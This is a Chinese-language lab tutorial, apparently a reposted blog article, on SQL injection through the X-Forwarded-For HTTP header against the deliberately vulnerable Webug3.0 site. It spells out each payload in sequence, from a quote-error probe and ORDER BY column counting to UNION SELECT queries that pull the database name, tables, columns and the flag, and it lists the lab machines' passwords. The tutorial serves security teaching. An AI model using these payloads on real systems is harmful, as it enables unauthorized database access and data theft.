文章总结: 本文详细介绍了HTTP头部注入攻击的实验过程,以Webug3.0第五关为例演示了通过X-Forwarded-For头部实施SQL报错注入的全流程。关键步骤包括利用Burpsuite抓包定位注入点、判断查询字段数为4、确定回显位置2/3/4、获取数据库名pentesterlab、提取flag表数据并最终获得flag值204f704fbbcf6acf398ffee11989b377。实验证实了对HTTP头部参数缺乏过滤会导致严重安全风险,并提供了完整的手工注入方法论。 综合评分: 78 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全工具
HTTP头部注入(下)
原创
建哥聊安全 建哥聊安全
建哥聊安全
2026年5月23日 10:01 湖南
在小说阅读器读本章
去阅读
免责声明:严格禁止对任何未授权系统/网络进行扫描、攻击或入侵。 禁止制作/传播恶意程序,禁止参与任何网络犯罪。如擅自将本文实验技术用于非法用途,一切法律后果及责任由行为人独立承担,与作者无关。
SQL注入-HTTP头部注入2
实验目的
理解HTTP头部字段User-Agent、Referer、Cookie、X-Forwarded-For等的含义和作用,掌握HTTP头部注入的原理、方法及基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows 10
(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar、FoxyProxy等
(3)登录账号密码:操作系统账号Administrator,密码Sangfor!7890
靶机:A-SQLi-Labs
(1)操作系统:CentOS 7
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境
(3)登录账号密码:操作系统账号root,密码Sangfor!7890
实验原理
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。 常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。
实验步骤
本实验的目标是:以Webug3.0网站的第五关为入口,利用报错注入的方式实施SQL注入,获取网站后台数据库中存放的flag。
1.访问Webug网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的Webug网站。访问的URL为:
http://[靶机IP]/webug/
(注意大小写)
2.利用Burpsuite工具抓包
(1)启动Burpsuite
在攻击机Pentest-Atk的桌面文件夹Burp中,鼠标左键双击BURP.cmd程序,启动Burpsuite。
(2)设置Burpsuite的代理服务端口
在Burpsuite软件界面上选择选项卡“Proxy”->“Options”,在Proxy Listeners模块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端口)。
(3)开启Burpsuite的代理拦截功能
在Burpsuite软件界面上选择选项卡“Proxy”->“Intercept”,将拦截开关按钮的状态设置为“Intercept is on”。
注意:上述设置完成之后,不要关闭Burpsuite!
(4)设置Firefox代理
回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图标按钮,在弹出的菜单中选择“为全部URLs启用代理服务器127.0.0.1:8080”:
代理设置成功后,FoxyProxy插件图标会变成蓝色。
(5)利用Burpsuite工具拦截HTTP请求包
在Webug网站主页选择第五关(“头部的一个注入”):
此时Burpsuite会拦截到HTTP请求包:
(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块
选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。
发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。
后续的步骤中,可以在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应。
3.寻找注入点
(1)对拦截到的HTTP请求包不做任何修改,直接点击Send发送,此时Response->Pretty下显示的内容:
Response->Render下显示的内容:
(2)在原始的HTTP请求包中添加头部字段X-Forwarded-For,并使用如下payload:
X-Forwarded-For:a’
此时,服务器端报错!
由此可以判断,目标网站在头部字段XFF处存在注入点。
4.判断网站查询的字段数
使用如下payload判断网站查询的字段数:
X-Forwarded-For:order by 2
未报错!
X-Forwarded-For:order by 3
未报错!
X-Forwarded-For:order by 4
未报错!
X-Forwarded-For:order by 5
报错!
由上述结果可以判断,网站查询的字段数为4。
5.判断网站的回显位置
使用如下payload判断网站的回显位置:
X-Forwarded-For:union select 1,2,3,4
由上述结果可以判断,网站有三个回显位置:2号位、3号位和4号位。
6.获取网站当前所在的数据库的库名
使用如下payload获取网站当前所在的数据库的库名:
X-Forwarded-For:union select 1,database(),3,4
由上述结果可以得知,网站当前所在的数据库的库名为pentesterlab。
7.获取pentesterlab数据库中所有的表名
使用如下payload获取pentesterlab数据库中所有的表名:
X-Forwarded-For:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’pentesterlab’
由上述结果可以得知,pentesterlab数据库中含有comment、flag、goods和user四张表。其中,flag表中可能存放着flag信息。
8.获取flag表中的字段名
使用如下payload获取flag表中的字段名:
X-Forwarded-For:union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=’pentesterlab’ and table_name=’flag’
由上述结果可以得知,flag表中有两个字段id、flag。
9.获取flag表中的flag字段的内容
使用如下payload获取flag表中的flag字段的内容:
X-Forwarded-For:union select 1,flag,3,4 from pentesterlab.flag
由上述结果可以得知,该flag字段的内容为204f704fbbcf6acf398ffee11989b377。 实验至此结束。
实验总结
本次实验,成功实现了对存在HTTP头部(X-Forwarded-For)注入点的网站的手工SQL注入,掌握了HTTP头部注入的原理、方法和流程。
更多学习资料点击头像关注公众号,后台私信回复666即可领取视频学习资料,赶紧来领取吧!!!
往期精选:
你会盲注么?
SQL注入的方法0x004
SQL注入的方法0x003
SQL注入的方法0x002
SQL注入的方法0x001
万丈高楼平地起,SQL数据库得学习。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:建哥聊安全 建哥聊安全 建哥聊安全《HTTP头部注入(下)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论